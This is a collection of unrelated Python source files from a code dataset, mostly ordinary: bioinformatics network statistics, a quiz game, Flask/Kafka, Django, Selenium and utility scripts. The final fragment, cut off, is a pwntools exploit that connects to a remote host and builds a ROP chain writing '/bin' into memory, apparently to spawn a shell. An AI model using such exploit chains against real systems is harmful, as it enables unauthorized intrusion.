'pct')\n ))))\n\n labels = get_labels(lab, key, segments)\n\n rec.extend(list(zip(labels, values)))\n\n return rec\n\n\n collect_args = collect_args or {'via': False}\n\n\n required = collections.OrderedDict(\n entities = 'Entities',\n proteins = 'Proteins',\n mirnas = 'miRNAs',\n interactions_0 = 'Edges',\n references = 'References',\n curation_effort = 'Curation effort',\n interactions_non_directed_0 = 'Undirected interactions',\n interactions_directed = 'Directed interactions',\n interactions_positive = 'Stimulatory interactions',\n interactions_negative = 'Inhibitory interactions',\n interactions_mutual = 'Mutual interactions',\n )\n\n segments = (\n '',\n 'shared within database category',\n 'unique within database category',\n 'shared within interaction type',\n 'unique within interaction type',\n )\n\n self.summaries = []\n\n coll = {}\n\n self._log('Updating summaries.')\n\n for method in required.keys():\n\n coll[method] = getattr(self, 'collect_%s' % method)(\n **collect_args\n )\n\n for itype in self.get_interaction_types():\n\n for dmodel in self.get_data_models(interaction_type = itype):\n\n for res in sorted(\n self.get_resource_names(\n interaction_type = itype,\n data_model = dmodel,\n **collect_args\n ),\n key = lambda r: r.lower()\n ):\n\n # compiling a record for each resource\n # within the data model\n\n rec = [(('resource', 'Resource'), res)]\n\n _res = (itype, dmodel, res)\n\n for key, lab in iteritems(required):\n\n rec = add_resource_segments(\n rec, _res, key, lab, segments, coll,\n )\n\n self.summaries.append(rec)\n\n # compiling a summary record for the data model\n\n rec = [(\n ('resource', 'Resource'),\n '%s total' % dmodel.replace('_', ' ').capitalize()\n )]\n\n for key, lab in iteritems(required):\n\n rec = add_dmodel_segments(\n rec, itype, dmodel, key, lab, segments, coll,\n )\n\n self.summaries.append(rec)\n\n # compiling a summary record for the interaction type\n\n rec = [(\n ('resource', 'Resource'),\n '%s total' % itype.replace('_', ' ').capitalize()\n )]\n\n for key, lab in iteritems(required):\n\n rec = add_itype_segments(rec, itype, key, lab, segments, coll)\n\n self.summaries.append(rec)\n\n # maybe we could compile a summary record for the entire network\n\n self.summaries = [\n collections.OrderedDict(rec)\n for rec in self.summaries\n ]\n\n self._log('Finished updating summaries.')\n\n\n def summaries_tab(\n self,\n outfile = None,\n return_table = False,\n label_type = 1,\n ):\n \"\"\"\n Creates a table from resource vs. entity counts and optionally\n writes it to ``outfile`` and returns it.\n \"\"\"\n\n tab = []\n\n tab.append(key[label_type] for key in self.summaries[0].keys())\n\n for rec in self.summaries:\n\n tab.append([str(val) for val in rec.values()])\n\n if outfile:\n\n with open(outfile, 'w') as fp:\n\n fp.write('\\n'.join('\\t'.join(row) for row in tab))\n\n if return_table:\n\n return tab\n\n\n def homology_translate(self, taxon, exclude = None):\n\n self._log(\n 'Translating network by homology from organism `%u` to `%u`.' % (\n self.ncbi_tax_id,\n taxon,\n )\n )\n\n new = Network(ncbi_tax_id = taxon)\n\n n_ia_translated = 0\n entities_translated = set()\n\n for ia in self:\n\n ia_translated = False\n\n for new_ia in ia.homology_translate(\n taxon = taxon,\n exclude = exclude,\n ):\n\n new.add_interaction(new_ia)\n ia_translated = True\n entities_translated.update(ia.get_entities())\n\n n_ia_translated += ia_translated\n\n self._log(\n 'Orthology translation ready. '\n '%u out of %u interactions (%.02f%%), '\n '%u out of %u entities (%.02f%%) '\n 'have been translated.' % (\n n_ia_translated,\n len(self),\n n_ia_translated / len(self) * 100,\n len(entities_translated),\n len(self.nodes),\n len(entities_translated) / len(self.nodes) * 100,\n )\n )\n\n return new\n\n\n @staticmethod\n def _get_by_method_name(get, by):\n\n return (\n ''.join(\n (\n 'get_' if not by else '',\n get,\n '_by_' if by else '',\n by or '',\n )\n )\n )\n\n\n @staticmethod\n def _iter_get_by_methods():\n\n return (\n itertools.product(\n interaction_mod.Interaction._get_methods | {'entities'},\n interaction_mod.Interaction._by_methods + (None,),\n )\n )\n\n @classmethod\n def _generate_get_methods(cls):\n\n def _create_get_method(what, by):\n\n wrap_args = (what, by)\n\n @functools.wraps(wrap_args)\n def _get_by_method(*args, **kwargs):\n\n what, by = wrap_args\n\n self = args[0]\n kwargs['what'] = what\n kwargs['by'] = by\n\n return self._collect(**kwargs)\n\n return _get_by_method\n\n\n for _get, _by in cls._iter_get_by_methods():\n\n method_name = cls._get_by_method_name(_get, _by)\n\n setattr(\n cls,\n method_name,\n _create_get_method(what = _get, by = _by),\n )\n\n\n @classmethod\n def _generate_count_methods(cls):\n\n def _create_count_method(what, by):\n\n method_name = cls._get_by_method_name(what, by)\n\n @functools.wraps(method_name)\n def _count_method(*args, **kwargs):\n\n self = args[0]\n\n collection = getattr(self, method_name)(**kwargs)\n\n return (\n len(collection)\n if isinstance(collection, set) else\n common.dict_counts(collection)\n )\n\n return _count_method\n\n\n for _get, _by in cls._iter_get_by_methods():\n\n method_name = (\n 'count_%s' % (\n cls._get_by_method_name(_get, _by).replace('get_', '')\n )\n )\n\n setattr(\n cls,\n method_name,\n _create_count_method(what = _get, by = _by)\n )\n\n\n @classmethod\n def _add_method(cls, method_name, method, signature = None, doc = None):\n\n common._add_method(\n cls,\n method_name,\n method,\n signature = signature,\n doc = doc,\n )\n\n\n def _allow_loops(self, allow_loops = None, resource = None):\n \"\"\"\n Integrates settings for the `allow_loops` parameter from the\n method, instance and module level settings.\n \"\"\"\n\n default = settings.get('network_allow_loops')\n\n return (\n # from the arguments of the actual `load` call\n allow_loops\n if isinstance(allow_loops, bool) else\n # from the current instance\n self.allow_loops\n if isinstance(self.allow_loops, bool) else\n # resource specific settings\n resource.networkinput.allow_loops\n if (\n hasattr(resource, 'networkinput') and\n isinstance(resource.networkinput.allow_loops, bool)\n ) else\n # interaction type specific settings from the module level\n resource.networkinput.interaction_type in default\n if (\n isinstance(default, common.list_like) and\n hasattr(resource, 'networkinput')\n ) else\n # general settings from the module level\n bool(default)\n )\n\n\n def count_loops(self):\n\n return sum(ia.is_loop() for ia in self)\n\n\n def direction_consistency(self):\n \"\"\"\n Collects statistics about the consistency of interaction\n directions between resources.\n * total_directed: number of directed edges\n * shared_directed: number of directed edges in overlap with other\n resources\n * consistent_edges: number of edges consistent with other resources\n * inconsistent_edges: number of edges inconsistent with other\n resources\n * total_consistency: sum of consistencies (for all edges and all\n resources)\n * total_inconsistency: sum of inconsistencies (for all edges and all\n resources)\n \"\"\"\n\n def dd_matrix(dd):\n\n names = list(dd.keys())\n\n return pd.DataFrame(\n [\n [key] + list(val.values())\n for key, val in dd.items()\n ],\n columns = ['resource'] + names,\n )\n\n\n DirectionConsistency = collections.namedtuple(\n 'DirectionConsistency',\n [\n 'total_directed',\n 'shared_directed',\n 'consistent_edges',\n 'inconsistent_edges',\n 'total_consistency',\n 'total_inconsistency',\n 'total_signed',\n 'shared_signed',\n 'consistent_signed_edges',\n 'inconsistent_signed_edges',\n 'total_sign_consistency',\n 'total_sign_inconsistency',\n ]\n )\n\n summary = {}\n\n resources = sorted(self.get_resource_names(via = False))\n consistencies = collections.OrderedDict(\n (\n resource1,\n collections.OrderedDict(\n (resource2, 0)\n for resource2 in resources\n )\n )\n for resource1 in resources\n )\n inconsistencies = copy_mod.deepcopy(consistencies)\n sign_consistencies = copy_mod.deepcopy(consistencies)\n sign_inconsistencies = copy_mod.deepcopy(consistencies)\n\n for resource in resources:\n\n total_directed = 0\n shared_directed = 0\n consistent_edges = 0\n inconsistent_edges = 0\n total_consistency = 0\n total_inconsistency = 0\n total_signed = 0\n shared_signed = 0\n consistent_signed_edges = 0\n inconsistent_signed_edges = 0\n total_sign_consistency = 0\n total_sign_inconsistency = 0\n\n for ia in self:\n\n if not ia.is_directed():\n\n continue\n\n res_a_b = ia.direction[ia.a_b].get_resource_names(via = False)\n res_b_a = ia.direction[ia.b_a].get_resource_names(via = False)\n res_a_b_pos = ia.positive[ia.a_b].get_resource_names(\n via = False\n )\n res_a_b_neg = ia.negative[ia.a_b].get_resource_names(\n via = False\n )\n res_b_a_pos = ia.positive[ia.b_a].get_resource_names(\n via = False\n )\n res_b_a_neg = ia.negative[ia.b_a].get_resource_names(\n via = False\n )\n\n if resource in res_a_b or resource in res_b_a:\n\n total_directed += 1\n\n else:\n\n continue\n\n if resource in res_a_b_pos or resource in res_a_b_neg:\n\n total_signed += 1\n\n if resource in res_b_a_pos or resource in res_b_a_neg:\n\n total_signed += 1\n\n if len(res_a_b | res_b_a) > 1:\n\n shared_directed += 1\n\n if len(res_a_b_pos | res_a_b_neg) > 1:\n\n shared_signed += 1\n\n if len(res_b_a_pos | res_b_a_neg) > 1:\n\n shared_signed += 1\n\n if (\n (resource in res_a_b and len(res_a_b) > 1) or\n (resource in res_b_a and len(res_b_a) > 1)\n ):\n\n consistent_edges += 1\n\n if (\n (resource in res_a_b_pos and len(res_a_b_pos) > 1) or\n (resource in res_a_b_neg and len(res_a_b_neg) > 1)\n ):\n\n consistent_signed_edges += 1\n\n if (\n (resource in res_b_a_pos and len(res_b_a_pos) > 1) or\n (resource in res_b_a_neg and len(res_b_a_neg) > 1)\n ):\n\n consistent_signed_edges += 1\n\n if (\n (\n resource in res_a_b and\n resource not in res_b_a and\n res_b_a\n ) or\n (\n resource in res_b_a and\n resource not in res_a_b and\n res_a_b\n )\n ):\n\n inconsistent_edges += 1\n\n if (\n (\n resource in res_a_b_pos and\n resource not in res_a_b_neg and\n res_a_b_neg\n ) or\n (\n resource in res_a_b_neg and\n resource not in res_a_b_pos and\n res_a_b_pos\n )\n ):\n\n inconsistent_signed_edges += 1\n\n if (\n (\n resource in res_b_a_pos and\n resource not in res_b_a_neg and\n res_b_a_neg\n ) or\n (\n resource in res_b_a_neg and\n resource not in res_b_a_pos and\n res_b_a_pos\n )\n ):\n\n inconsistent_signed_edges += 1\n\n if resource in res_a_b:\n\n total_consistency += len(res_a_b) - 1\n\n else:\n\n total_inconsistency += len(res_a_b)\n\n if resource in res_a_b_pos:\n\n total_sign_consistency += len(res_a_b_pos) - 1\n\n if resource in res_a_b_neg:\n\n total_sign_consistency += len(res_a_b_neg) - 1\n\n if resource in res_b_a_pos:\n\n total_sign_consistency += len(res_b_a_pos) - 1\n\n if resource in res_b_a_neg:\n\n total_sign_consistency += len(res_b_a_neg) - 1\n\n if resource not in res_a_b_pos:\n\n total_sign_inconsistency += len(res_a_b_pos)\n\n if resource not in res_a_b_neg:\n\n total_sign_inconsistency += len(res_a_b_neg)\n\n if resource not in res_b_a_pos:\n\n total_sign_inconsistency += len(res_b_a_pos)\n\n if resource not in res_b_a_neg:\n\n total_sign_inconsistency += len(res_b_a_neg)\n\n if resource in res_b_a:\n\n total_consistency += len(res_b_a) - 1\n\n else:\n\n total_inconsistency += len(res_b_a)\n\n for dir_resources in (res_a_b, res_b_a):\n\n for res_other in dir_resources:\n\n if resource in dir_resources:\n\n consistencies[resource][res_other] += 1\n\n else:\n\n inconsistencies[resource][res_other] += 1\n\n for sign_resources in (\n res_a_b_pos,\n res_a_b_neg,\n res_b_a_pos,\n res_a_b_neg,\n ):\n\n for res_other in sign_resources:\n\n if resource in sign_resources:\n\n sign_consistencies[resource][res_other] += 1\n\n else:\n\n sign_inconsistencies[resource][res_other] += 1\n\n summary[resource] = DirectionConsistency(\n total_directed = total_directed,\n shared_directed = shared_directed,\n consistent_edges = consistent_edges,\n inconsistent_edges = inconsistent_edges,\n total_consistency = total_consistency,\n total_inconsistency = total_inconsistency,\n total_signed = total_signed,\n shared_signed = shared_signed,\n consistent_signed_edges = consistent_signed_edges,\n inconsistent_signed_edges = inconsistent_signed_edges,\n total_sign_consistency = total_sign_consistency,\n total_sign_inconsistency = total_sign_inconsistency,\n )\n\n consistencies = dd_matrix(consistencies)\n inconsistencies = dd_matrix(inconsistencies)\n sign_consistencies = dd_matrix(sign_consistencies)\n sign_inconsistencies = dd_matrix(sign_inconsistencies)\n\n summary = pd.DataFrame(\n [\n [resource] + list(values)\n for resource, values in summary.items()\n ],\n columns = ['resource'] + list(DirectionConsistency._fields),\n )\n\n return {\n 'summary': summary,\n 'consistencies': consistencies,\n 'inconsistencies': inconsistencies,\n 'sign_consistencies': sign_consistencies,\n 'sign_inconsistencies': sign_inconsistencies,\n }\n\n\nNetwork._generate_get_methods()\nNetwork._generate_partners_methods()\nNetwork._generate_count_methods()\nNetwork._generate_collect_methods()\n\n\ndef init_db(use_omnipath = False, method = None, **kwargs):\n\n method_name = (\n 'load_omnipath'\n if use_omnipath else\n (method or 'load')\n )\n\n new_network = Network()\n maybe_network = getattr(new_network, method_name)(**kwargs)\n\n globals()['db'] = maybe_network or new_network\n\n\ndef get_db(**kwargs):\n\n if 'db' not in globals():\n\n init_db(**kwargs)\n\n return globals()['db']\n","repo_name":"saezlab/pypath","sub_path":"pypath/core/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":141290,"program_lang":"python","lang":"en","doc_type":"code","stars":114,"dataset":"github-code","pt":"37"} +{"seq_id":"19822462939","text":"# Data was provided for.\nfrom art import logo, vs\nfrom game_data import data\nfrom replit import clear\nimport random\n\n\nPlayAgain = True\nwhile PlayAgain == True:\n\n Lose = False\n Score = 0\n# Function 1: Generate the names.\n def Generate():\n global Score, PostnA, PostnB\n if Score == 0:\n PostnA = data[random.randint(0,len(data))-1]\n PostnB = data[random.randint(0,len(data))-1]\n while PostnB == PostnA:\n PostnB = data[random.randint(0,len(data))-1]\n else:\n PostnA = PostnB\n PostnB = data[random.randint(0,len(data))-1]\n while PostnB == PostnA:\n PostnB = data[random.randint(0,len(data))-1]\n\n# Function 2: Brains\n\n def Game():\n global Lose, Score, PostnA, PostnB\n print(logo) \n print(f\"\\nYour Current score is: {Score}\\n\")\n Generate()\n\n PAName = PostnA[\"name\"]\n PADesc = PostnA[\"description\"]\n PACount = PostnA[\"country\"]\n\n PBName = PostnB[\"name\"]\n PBDesc = PostnB[\"description\"]\n PBCount = PostnB[\"country\"]\n\n \n PersonA = str(f\"{PAName} a {PADesc} from {PACount}.\")\n PersonB = str(f\"{PBName} a {PBDesc} from {PBCount}.\")\n \n\n print(f\"\\nCompare: {PersonA}\\n\\n{vs}\")\n print(f\"\\n{PersonB}\")\n \n Decider()\n\n# Function 3: Decides who wins/game continue/ game restart.\n\n def Decider():\n global Score, PostnA, PostnB, PlayAgain\n Verify = False\n PAScore = PostnA[\"follower_count\"]\n PBScore = PostnB[\"follower_count\"]\n Guess = int(input(\"\\nWho has more followers on instagram? 1 or 2?\\n\"))\n\n Temp = [PAScore, PBScore]\n Winner_Posn = Temp.index(max(Temp))\n \n if Guess - 1 == Winner_Posn:\n Verify = True\n\n if Verify == True:\n Score += 1\n clear()\n Game() \n else:\n TryA = input(f\"\\nToo bad! You lost. Your final score is: {Score}. Go again? Y or N?\\n\").lower()\n if TryA == \"y\":\n PlayAgain = True\n clear()\n else: \n clear()\n PlayAgain = False\n print(\"Hope you enjoyed! Goodbye!\")\n\n Game()\n\n","repo_name":"Lousycat/Day-5-14-Higher-Lower-Game","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28683637665","text":"\nfrom flask import Blueprint, json\n\nfrom datetime import datetime\nfrom flask import render_template\nfrom KafkaFlask import app\n\nfrom flask import Response\nfrom flask import request\nimport json\nimport time\nfrom flask import Response, Flask\ndb = Blueprint('db', __name__)\nuri =app.config[\"kafkaurl\"]\n\nfrom kafka import KafkaConsumer\nimport ast\n\n@db.route('/realtime/')\ndef realtime():\n\n def createGenerator():\n\n\n\n consumer = KafkaConsumer('test',\n group_id='my-group',\n bootstrap_servers='[your ip]:9092',auto_offset_reset='earliest')\n for message in consumer:\n # yield \"%s:%d:%d: key=%s value=%s\" % (message.topic, message.partition,\n # message.offset, message.key,\n # \n yield message.value\n time.sleep(1)\n\n return Response(createGenerator(), mimetype= 'text/event-stream')\n\n\n\n@db.route('/poll/<string:topic>', methods=['GET'])\ndef consume(topic):\n limit=10\n group = 'my-group'\n consumer = KafkaConsumer(topic,\n group_id='my-group',\n bootstrap_servers='[your ip]:9092')\n \n \n res = {\"group\": group.decode(\"utf-8\"), \"messages\": []}\n\n for n, message in enumerate(consumer):\n dic = message.value.decode(\"utf-8\")\n dic = dic.replace('\\\\\\\"', '\"')\n dic = dic.replace('\\\"', '\"')\n \n res[\"messages\"].append(json.loads(message.value))\n if n >= limit - 1:\n break\n consumer.commit()\n consumer.close()\n #consumer.stop()\n go =json.dumps(res[\"messages\"])\n go = go.replace('\\\"', '\"')\n resp = Response(response=go,\n status=200,\n mimetype=\"application/json\")\n return resp\n\n\n","repo_name":"Microshak/kafka-flask","sub_path":"KafkaFlask/kafkaHub.py","file_name":"kafkaHub.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73345038507","text":"from users.api.views import ProfileView, UserView, EmailCheckView\nfrom django.urls import path, include\n\napp_name='users-api'\n\n\nurlpatterns = [\n path('auth/', include('dj_rest_auth.urls')),\n path('auth/registration/', include('dj_rest_auth.registration.urls')),\n path('details/<str:pk>/', UserView.as_view(), name=\"usuario\"),\n path('profile/<str:pk>/', ProfileView.as_view(), name=\"profile\"),\n path('email/<email>/', EmailCheckView.as_view(), name=\"email_check\"),\n]","repo_name":"iVanGB93/weblocal","sub_path":"users/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"28733669071","text":"'''\r\n待解决问题:选了日期后,要选查询按钮时因日历把按钮遮挡了,所以要随便点下页面的label比如\r\n“出发日期”后再点“查询”。\r\n'''\r\n#coding = utf-8 \r\nimport time\r\nfrom selenium import webdriver\r\n#from selenium.webdriver.support.wait import WebdriverWait\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\n\r\ndriver = webdriver.Chrome()\r\nmaxwindow = driver.maximize_window()\r\ndriver.get('https://www.12306.cn/index/')\r\ntime.sleep(3)\r\ntrain_dateEle = driver.find_element_by_id('train_date')\r\njs='document.getElementById(\"train_date\").removeAttribute(\"readonly\");'\r\ndriver.execute_script(js)\r\ntime.sleep(3)\r\ntrain_dateEle.clear()\r\ntime.sleep(3)\r\ntrain_dateEle.send_keys('2020-03-05')\r\n\r\n'''\r\n#去掉readonly属性,两种js书写方法都正确\r\njs='document.getElementById(\"train_date\").removeAttribute(\"readonly\");' #javascript的document对象方式\r\n#js = \"$('input[id=train_date]').removeAttr('readonly')\" #css定位方式\r\ndriver.execute_script(js)\r\ndate_element = driver.find_element_by_id('train_date')\r\ndate_element.click()\r\ntime.sleep(2)\r\ndate_element.clear()\r\ntime.sleep(2)\r\ndate_element.send_keys('2020-01-23')\r\ntime.sleep(2)\r\n'''","repo_name":"hqsky520/SeleniumPythonImooc","sub_path":"ChangeDateof12306.py","file_name":"ChangeDateof12306.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13218163328","text":"\n\n\n\nimport random\ndef randomNumber(unit):\n return random.randint(0,unit)\n\ndef loop(h,w,p,z,itr,fileName):\n f = open(fileName, 'w')\n f.write(\"DIMENSIONS \" + str(h) + \" \" + str(w) + \"\\n\")\n f.write(\"ITERATIONS \" + str(itr) + \"\\n\")\n for j in range(h):\n for i in range(w):\n if (j == 0 or j == h-1):\n if (i == 0 or i == w-1):\n f.write('+')\n else:\n f.write('-')\n else:\n if (i == 0 or i == w-1):\n f.write(\"|\")\n elif (randomNumber(p) == 0):\n f.write('p')\n elif (randomNumber(z) == 0):\n f.write('z')\n else:\n f.write(\" \")\n f.write(\"\\n\")\n\n f.close()\n\n\ndef main():\n\n h = input(\"Height: \")\n w = input(\"Width: \")\n p = input(\"frequency of puppy (int) {0-inf}: \")\n z = input(\"frequency of zombie (int) {0-inf}: \")\n itr = input(\"iterations: \")\n fileName = raw_input(\"Name of File: \")\n loop(h,w,p,z,itr,fileName)\n\nmain()\n","repo_name":"Inkozi/School","sub_path":"Systems-Low-Level-Programming/lab2/roomGen.py","file_name":"roomGen.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71119227948","text":"\"\"\"\nLeap Year (https://www.mathsisfun.com/leap-years.html)\n\n A normal year has 365 days.\n A Leap Year has 366 days (the extra day is the 29th of February).\n\nHow to know if it is a Leap Year:\n Leap Years are any year that can be exactly divided by 4 (such as 2016,\n 2020, 2024, etc)\n except if it can be exactly divided by 100, then it isn't (such as 2100,\n 2200, etc)\n except if it can be exactly divided by 400, then it is (such as 2000, 2400)\n\nWhy?\n\n Because the Earth rotates about 365.242375 times a year\n ...but a normal year is 365 days,\n ...so something has to be done to \"catch up\" the extra 0.242375 days a year\n\n So every 4th year we add an extra day (the 29th of February), which makes\n 365.25 days a year. This is fairly close, but is wrong by about 1 day every\n 100 years.\n So every 100 years we don't have a leap year, and that gets us 365.24 days\n per year (1 day less in 100 year = -0.01 days per year). Closer, but still\n not accurate enough!\n So another rule says that every 400 years is a leap year again. This gets\n us 365.2425 days per year (1 day regained every 400 years = 0.0025 days per\n year), which is close enough to 365.242375 not to matter much.\n\nSo, Which Are and Which Aren't?\n\n So 2000 and 2400 are leap years but 1800, 1900, 2100, 2200 and 2300 are not\n Apart from that, every year divisible by 4 (2012, 2016, 2020, 2024, etc.)\n is a leap year.\n\n Example: look just before 2100, the worst year is 1.2 days ahead, but\n because 2100 is not a leap year they all get adjusted back by 1 day.\n So this keeps us pretty close, and any other adjustments can be done way in\n the future (when the Earth may be rotating a little slower, anyway!)\n\nOnly since 1582 (Gregorian Calendar)\n\n These leap year rules were introduced in 1582 by the Gregorian Calendar,\n named after Pope Gregory XIII.\n (It replaced the old Julian Calendar by Julius Caesar that only has one\n rule of a leap year every 4th year, and is now about 13 days behind our\n current date.)\n\"\"\"\n\n\ndef leap_check(year):\n if year % 4 == 0:\n if year % 100 == 0:\n if year % 400 == 0:\n return True\n else:\n return False\n return True\n else:\n return False\n\n\ndef main():\n while True:\n year = input(\"\\nEnter a year: \")\n try:\n if year.lower() == \"q\" or year == \"\":\n break\n print(leap_check(int(year)))\n except Exception:\n print(f\"{year} is not a valid year\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"brunolpsousa/python-beginner-projects","sub_path":"leap_year_checker.py","file_name":"leap_year_checker.py","file_ext":"py","file_size_in_byte":2616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41469624612","text":"# coding=utf-8\n# table: 'verify' 的更新类\nfrom util.DBLink import easy_connect\nfrom conf.Config import *\nfrom util.Time import *\n\ndef INSERT_NEW_register(com_job_id,stu_id,handler=None):\n if not handler:\n handler=easy_connect()\n query = \"insert into verify (com_job_id,stu_id,status,create_time) values(%s,%s,%s,%s)\"\n param = (com_job_id, stu_id,STATUS_WAITING,from_year_to_second())\n return handler.UPDATE(query, param)\n\ndef INSERT_NEW_register_AND_RETURN_verify_id(com_job_id,stu_id,handler=None):\n if not handler:\n handler=easy_connect()\n query = \"insert into verify (com_job_id,stu_id,status,create_time) values(%s,%s,%s,%s)\"\n param = (com_job_id, stu_id,STATUS_WAITING,from_year_to_second())\n handler.UPDATE(query, param)\n query = \"select max(verify_id) from verify\"\n result = handler.SELECT(query)\n return result[0][0]\n\n\ndef UPDATE_register(verify_id,status,handler=None):\n if not handler:\n handler=easy_connect()\n query = \"update verify set status=%s , treat_time = %s where verify_id=%s\"\n param = (status,from_year_to_second(),verify_id)\n return handler.UPDATE(query, param)\n\ndef DELETE_student_IN_verify(verify_id,handler=None):\n if not handler:\n handler=easy_connect()\n query = \"delete from verify where verify_id = %s\"\n param = (verify_id)\n return handler.UPDATE(query, param)\n\ndef REFRESH_student_status(stu_id,handler=None):\n if not handler:\n handler=easy_connect()\n query = \"select * from verify where stu_id = %s\"\n param = (stu_id)\n result = handler.SELECT(query,param)\n stu_status = \"待业\"\n for row in result:\n temp_status = row[3]\n if temp_status == STATUS_PASS:\n stu_status = \"就业\"\n break\n query = \"update student set status = %s where stu_id = %s\"\n param = (stu_status,stu_id)\n result = handler.UPDATE(query, param)\n return result\n\n\ndef DELETE_verify(verify_id,handler=None):\n if not handler:\n handler = easy_connect()\n query = \"delete * from verify where verify_id = %s\"\n param = (verify_id)\n result = handler.UPDATE(query, param)\n return result\n","repo_name":"JohnyLi/UEMSystem","sub_path":"Dao/UPDATE/verify.py","file_name":"verify.py","file_ext":"py","file_size_in_byte":2155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29268911821","text":"#!/usr/bin/env python3\n\"\"\"\nThis software is the main script of the DrawingCNC project.\n\nIt takes a picture from the camera, process it and returns an EPS file ready to\nbe used with the CNC milling machine.\n\nDepends on the subprogram take_calibrated_picture, imagemagick and potrace\n\"\"\"\nimport subprocess\nimport sys\n\n\ndef getCalibratedJPEG():\n \"\"\"\n Get a calibrated black and white image from the camera, ready to be\n processed by potrace.\n\n Returns the image as raw JPEG data.\n \"\"\"\n try:\n calibrated = subprocess.Popen(\n \"take_calibrated_picture/take_calibrated_picture\",\n stdout=subprocess.PIPE)\n output = calibrated.communicate()[0]\n except FileNotFoundError:\n sys.exit(\"Please build the take_calibrated_picture script first.\")\n return output\n\n\ndef jpegToEPS(jpg_data):\n \"\"\"\n Convert a jpeg image to an eps one, using potrace.\n\n Params:\n - jpeg_data is the raw jpeg data to process.\n\n Returns the raw processed EPS data.\n \"\"\"\n convert = subprocess.Popen(\"convert -:jpg pnm:-\",\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE)\n potrace = subprocess.Popen(\"potrace\",\n stdin=convert.stdout,\n stdout=subprocess.PIPE)\n convert.stdout.close()\n output = potrace.communicate()[0]\n convert.wait()\n return output\n\n\ndef getEPSDrawing():\n \"\"\"\n Get the drawing as EPS plans, from the camera.\n\n Returns the raw eps data.\n \"\"\"\n jpeg_data = getCalibratedJPEG()\n eps_data = jpegToEPS(jpeg_data)\n return eps_data\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 2:\n sys.exit(\"Usage: \" + sys.argv[0] + \" OUTPUT_FILENAME.eps.\")\n\n # Fetch the EPS data and write them to file\n eps_data = getEPSDrawing()\n with open(sys.argv[1], \"w\", encoding=\"utf-8\") as fh:\n fh.write(eps_data)\n","repo_name":"hackEns/DrawingCNC","sub_path":"drawingcnc.py","file_name":"drawingcnc.py","file_ext":"py","file_size_in_byte":1932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15149618202","text":"#!/usr/bin/env python\n##############################################################################\n# EVOLIFE http://evolife.telecom-paristech.fr Jean-Louis Dessalles #\n# Telecom ParisTech 2017 www.dessalles.fr #\n# -------------------------------------------------------------------------- #\n# License: Creative Commons BY-NC-SA #\n##############################################################################\n\"\"\"\t Removes CR chars introduced by MsWindows\n\"\"\"\n\nimport sys\nimport os.path\n\nsys.path.append('Tools')\n\nimport Walk\n\nif __name__ == '__main__':\n\tprint(__doc__)\n\tprint(\"Do you want to remove all CR in python source files\")\n\tif input('? ').lower().startswith('y'):\n\t\t# Walk.Browse('.', print, '.*.pyw?$', Verbose=False)\n\t\tWalk.SubstituteInTree('.', '.*.pyw?$', '\\\\r', '', Verbose=False)\n\t\tprint('Done')\n\telse:\n\t\tprint ('Nothing done')\n\n__author__ = 'Dessalles'\n","repo_name":"piochelepiotr/jump","sub_path":"Evolife/RemoveCR.py","file_name":"RemoveCR.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"72608851947","text":"try:\n from PySide2 import QtWidgets, QtCore, QtGui\nexcept:\n from PySide import QtCore, QtGui\n QtWidgets = QtGui\n\n__qtbind__ = QtCore.__name__.split(\".\")[0]\n\nif __qtbind__ == \"PySide2\":\n QSortFilterProxyModel = QtCore.QSortFilterProxyModel\n QStringListModel = QtCore.QStringListModel if hasattr(QtCore,\"QStringListModel\") else QtGui.QStringListModel\nelse:\n QSortFilterProxyModel = QtGui.QSortFilterProxyModel\n QStringListModel = QtGui.QStringListModel\n\n","repo_name":"knsii/3ds_max_icon_viewer","sub_path":"icon_viewer/qt.py","file_name":"qt.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"37"} +{"seq_id":"41655826347","text":"#!/usr/bin/env python3\n\nimport sqlite3\n\nclass retail_database():\n \n def __init__(self, retail_data):\n self.connection = sqlite3.connect(manager_data)\n self.cursor = self.connection.cursor()\n self.cursor.execute(\"CREATE TABLE IF NOT EXISTS manager_database (manager_id INTEGER PRIMARY KEY, manager text)\")\n self.connection.commit()\n \n \n\n","repo_name":"zerozero-username/manager-app","sub_path":"manager/manager-db.py","file_name":"manager-db.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41688235471","text":"#!/usr/bin/env python3\n#coding: utf-8\n\nfrom pwn import *\nfrom struct import pack\nfrom constants import *\n\ndef local_shell():\n conn = remote(HOST,PORT)\n p = b''.join([\n b'A'*OFFSET,\n pack('<I', 0x08098d15), # pop edx ; xor eax, eax ; pop edi ; ret\n pack('<I', DATA_ADDR), # on met dans EDX l'addresse de .date\n pack('<I', 0x00000000), # on met EDI a 0\n pack('<I', 0x080af496), # pop eax ; ret\n b'/bin', # /bin dans eax # /bin doit etre en big endian\n pack('<I', 0x0805f78a), # mov dword ptr [edx], eax ; ret # met /bin dans .data\n\n pack('<I', 0x08098d15), # pop edx ; xor eax, eax ; pop edi ; ret\n pack('<I', 